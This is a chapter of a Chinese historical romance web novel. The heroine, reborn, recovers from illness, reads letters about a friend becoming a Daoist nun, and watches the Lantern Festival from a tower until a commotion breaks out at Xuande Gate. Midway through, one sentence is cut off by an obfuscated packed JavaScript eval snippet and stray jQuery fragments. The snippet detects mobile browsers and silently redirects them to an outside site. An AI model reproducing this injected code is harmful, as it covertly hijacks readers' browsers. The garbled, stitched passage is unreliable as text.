9. 第9章
    叶灵晞这一病,又将叶府里过年的喜庆之感染上了几分忧愁。

    魏雪鸾听叶灵晞时不时呓语,心里暗自发惊。所幸叶宗文休假在家,给了魏雪鸾不少慰藉。

    倒是沈寄和忙得脚不沾地,在外看着煎药换水,眼瞅着叶灵晞好转才安心。

    日月如流,转眼便是上元佳节。依着郢朝的风俗,这上元节远比春节还热闹万分。

    早在正月初,邺京府便开始向邺京的民众发放蜡烛灯油,南至升阳宫,北至春风楼,十里长街好不热闹。

    这节庆预热了小半个月,正临这一天,家家户户早在十四晚便开始放灯。

    叶府自然也不例外,秋石和忍冬张罗着早早儿地给叶灵晞放了天灯,祈祷她身体康健,再无无妄之灾和疾病烦扰。

    秋石更将日日给叶灵晞和沈寄和熬煮药材的陶土罐子,全部都收拢了起来。

    “咱家姑娘和沈少爷的病均已痊愈,这可真是比过年还开心的喜事。”

    “那是当然。”忍冬也笑道。

    “老爷夫人和大少爷一早儿就交待了,说今日节庆热闹,叫我们陪着小姐去赏灯。尤其还嘱咐了,大少爷不在府里,请上沈少爷同往。”

    叶灵晞坐在廊下的日光里听着两个婢子说话,自己慢悠悠地将手里的信笺拆开。

    这两封信前两日就放在叶灵晞房里了,只是前两日叶灵晞虽然发热已退,夜里却虚汗不断,熬得白日里也没有精神,故而未曾拆开。今日感觉身上大好,才想起还有两封信未读。

    一封是明誏的,叶灵晞倒是不意外。

    在同父母用茶的间隙,叶灵晞耳闻父亲叶宗文提及,明家的船也不知怎的,竟在运河上沉了。

    事出突然,似乎又牵扯到些什么陈年旧事,就连叶宗文也不大清楚。只听闻损失颇大,船上似乎有什么特别了不得且独一份儿的东西,因而明誏十分恼怒,当即亲身前往,要查个所以然。

    手里这封信,正是明誏告知自己,他有要事要前往安南县一趟,以及嘱咐叶灵晞注意身体等他回来之言语。

    而云岫这封信却让叶灵晞又是一惊。

    云岫出家了。

    信里云岫言语珍重,怕叶灵晞伤心,倒是反过来对叶灵晞好一顿劝慰安抚。

    叶灵晞想到云岫素日里只与诗词歌赋为伴,有时还穿着道袍,姐姐妹妹们常打趣儿云岫早晚要成仙,没成想一语成谶。

    一时间热泪滚下,不知是该喜还是该悲。

    前世的云岫得了场大病回乡养了好些年,年岁长大后自然也不在后来圣上大选的年龄范围之内。如今大选提前,云岫竟然出家做了道士。

    前世今世事情走向似乎已与叶灵晞记忆里的大不相同,那么今日元宵节姨母魏贵妃到底能不能平平安安渡过,叶灵晞思及此更是惴惴不安。

    一边的秋石和忍冬,不知叶灵晞心中忧虑,欢欢喜喜地查验着做好的花灯,正等着同叶灵晞一道出门赏灯呢。

    晚间叶府席散,叶灵晞心里记挂着姨母,一门心思想去宣德门。

    叶宗文和魏雪鸾还以为叶灵晞这是又在府里待得烦闷了,便早早儿地请沈寄和陪着叶灵晞出门。

    叶灵晞脑子混乱,又想到母亲说的婚约一事,蓦地站在沈寄和旁边凭空多出几分尴尬。

    二人并未多言语,从叶府出来转两三巷子便是热闹非常的众安桥。

    众安桥的灯市,是每年上元佳节不可不逛的地方。本就临着十里长街,白日里的喧阗嘈杂自是不必多说,然而此时已经入夜,星布珠悬,流光溢彩。叶灵晞眼见着举目之处俱是一片缛丽繁华,人潮涌动的景象。

    莹莹烛火映在人身上面上,纵使衣着简单质朴,在这样张灯结彩的氛围笼罩下,也平添许多喜庆之气和富贵之色。

    沈寄和叶灵晞一行人刚走上桥,就被挤得步履不稳。

    沈寄和足比叶灵晞高出一头还多,他略微扶住叶灵晞肩头,示意她走在自己身侧后。

    秋石忍冬和择书三个人更是一步不错,紧跟着沈寄和叶灵晞两个人。

    大街上,兔儿灯瓜形灯走马灯应有尽有。更有机灵的商家以诗词曲赋书经典故等,制成谜条悬于灯上,供人竞猜。都是些雅趣,好让众人得些乐子也得些面子。

    饶是叶灵晞心神散乱,也不由地被这街市上喧阗热闹之景给分去了些精神。

    想起沈寄和这些时日,跟着叶宗文在邺京的诗社歌会以词名动京城,叶灵晞不由得踮起脚尖细瞅那些悬于头顶的花灯。

    “仔细脚下。”沈寄和语气含笑,不得不拉住叶灵晞手腕以防止她被人群冲散。

    “妹妹找什么呢,看得那样认真?”

    “听闻大哥哥如今是诗社的红人儿,好些贡院学生以及入京举子都争相拜访,我自然要瞧瞧有没有哪个机灵的商家,将大哥哥的诗词置于这花灯扇面之上。”

    “商家只要新科状元郎的墨宝,哪里会留心诗社雅事。”沈寄和清润的目光落在叶灵晞生动的面庞上。

    “这话就不对了,焉能得知大哥哥不是圣上登基以来的第一位新科状元郎?”

    叶灵晞语气肯定,别的事儿说不好,沈寄和年纪轻轻高中三元,如此难得的英才,可是郢朝一度激励年轻文人的佳话。又加着他面容姣好,市井坊间可是没少拿这位俊秀的新科状元说事儿。

    或许重生后,别的事情有偏差,可这事儿肯定错不了。叶灵晞心中笃定。

    “妹妹倒是过分抬举我了。”

    “哪里是抬举,是相信。”叶灵晞微微仰头目光灼灼,“我相信大哥哥必定中得魁首,金榜题名。”

    “好。那便借妹妹吉言。”

    沈寄和微微收紧了手心,温热的手掌隔着衣衫覆着她纤细的手腕。

    即便人潮拥挤,沈寄和却依然在众人推搡之际,留心到叶灵晞多看了两眼那极为精致的鱼龙灯。转眼功夫,便将其买下塞在了叶灵晞手上。

    一行人早已过了众安桥,几乎是被半推半就着来到了十里御街之上。

    这十里御街两侧酒楼歌社遍布,茶坊商铺密集,邺京之繁华比以往有过之而无不及。

    除却京城乃至周遭县乡,好多个青涩少年郎和秀丽女子借着上元节的节庆出来走动,更有郢朝附属小国的外来使者,在万朝会后待在邺京盘桓久居。

    今日听闻当今圣上永徽皇帝亲临宣德楼,民间老少更是集体出动。人头攒动摩肩擦踵,喧哗吵闹的声音只怕几里外也能听到。

    叶灵晞不由得踮了踮脚,远远儿地便瞧见距离宣德门不远的灯山已经点亮,五颜六色的光芒交相辉映,缤纷彩缎层层锦绣之上,能看到宣德门外挂着的“宣和与民同乐”六字金牌。

    而灯山和宣德门之间,更有禁军士兵左右列队站立。越是欢闹,禁军的神经越是紧绷。

    沈寄和携着叶灵晞和两人侍从一同去先得楼躲清净。

    先得楼的雅阁,一侧对着宣德门的朵楼,一侧对着十里御街,地理位置极佳。

    “这样难定的位置大哥哥竟然早

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068411|137867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有准备?”叶灵晞诧异。

    “想来妹妹肯定要来看花灯,灵昀忙于护卫大内,我这个做哥哥的自然得替他上心。”

    “那就多谢大哥哥和哥哥了。”叶灵晞巧笑倩兮。

    两人刚落座,机灵麻利的小肆便将盘盏两副置于桌上。更得了沈寄和的首肯,雕花蜜饯、时新果子,连同先得楼的名酒蓝桥风月,一并置办得齐齐全全。

    忍冬和秋石依在窗边看楼下走马花灯,人山人海。择书立于门口不言不语,耳目机警。

    不多时楼下人潮涌动,似乎更往前面挤去。

    叶灵晞探身去看,果不其然,便看见皇家的仪驾彩杖已立于宣德楼之上。透过镶黄边的垂帘,影影绰绰看着垂帘后面的人衣着华贵繁杂复丽。

    当今圣上,辛镶。

    本来这皇位与辛镶无缘,却不想当年正值壮年的太子暴毙身亡。一时之间满朝上下措手不及。

    论祖宗家法长幼尊卑,这皇位竟然轮在了一向与世无争,甚至不被群臣看好的八皇子辛镶头上。

    八皇子登基前后,各个藩王似有异议,所幸有魏国公之子镇远将军魏霜简勤王,这皇位才坐了稳当。

    可以说,八皇子辛镶的皇位过渡地太过自然,刀光剑影虎斗龙争的事儿对着魏霜简麾下的禁军,可谓是连苗头都没机会起,就被摁了下去。

    是以,辛镶登基后一年便改了年号为天庆,封号为永徽,同时册立其妻元含贞为德显皇后,以及魏露华和明|慧为贵贤两妃。

    自此,魏家的荣宠之盛更是无人可比。

    但魏霜简知道避嫌,以边关诸事为由自请出京。圣上半推半就允了,转头却将叶灵昀提拔为殿前司副都指挥使。也算是卖了魏家一个极大的面子,以及表明了君臣无嫌隙的信任。

    叶灵晞凭着记忆猜测着缓步走上楼的贵人,可左看右看都不见静乐公主。

    沈寄和似乎猜中叶灵晞的心事般,开口道,“灵昀说前两日颍王妃难得进宫,小世子跟静乐有些许贪玩,两个孩子双双受了风寒,贵妃娘娘担忧不已,故而日日不离其左右,倒错失了上元节与民同乐的好机会。”

    叶灵晞闻言却放下心来,“公主年幼,夜里风凉,姨母和公主在宫里早早歇息也是好的。”

    两人说话间,便听见楼下臣民山呼万岁,排山倒海之势真乃郢朝之昌盛象征。

    永徽皇帝高兴,命人往宣德门外洒了好些果子铜钱,这才是真正的与民同乐。

    秋石和忍冬两个人还嘀嘀咕咕地商量着要不要一同下去捡些来,也好讨个彩头,却忽听宣德楼上一阵骚动。

    隐约中忽听到不知是谁人的尖叫,宣德楼内的丝竹管乐,也在琵琶错弦的惊慌失措中骤然而停。

    禁军士兵顿时个个将手中的长矛盾牌立于胸前。前面的臣民挤挤攘攘,被禁军往长街方向推了出去。

    更是有左右卫兵,迅速将两侧隔离用的红漆杈子横于宣德门和灯山之间,禁止一切人等靠近。

    刹那间,一改先前祥和热闹的气氛,一种紧绷且焦躁的情绪弥漫在宣德门前。

    “怎么了这是?”

    “方才好像听到一声贵人的惨叫?你听到了没?”

    “你没看见方才圣上摔了珠帘往楼下去了吗?”

    “你看你看,又有禁军登楼了!”

    ……

    叶灵晞分明听见他人惊呼,忙探身去看。宣德楼上下和宣德门外均是乱做一团。

    “不好了不好了,宣德楼上出事儿了!”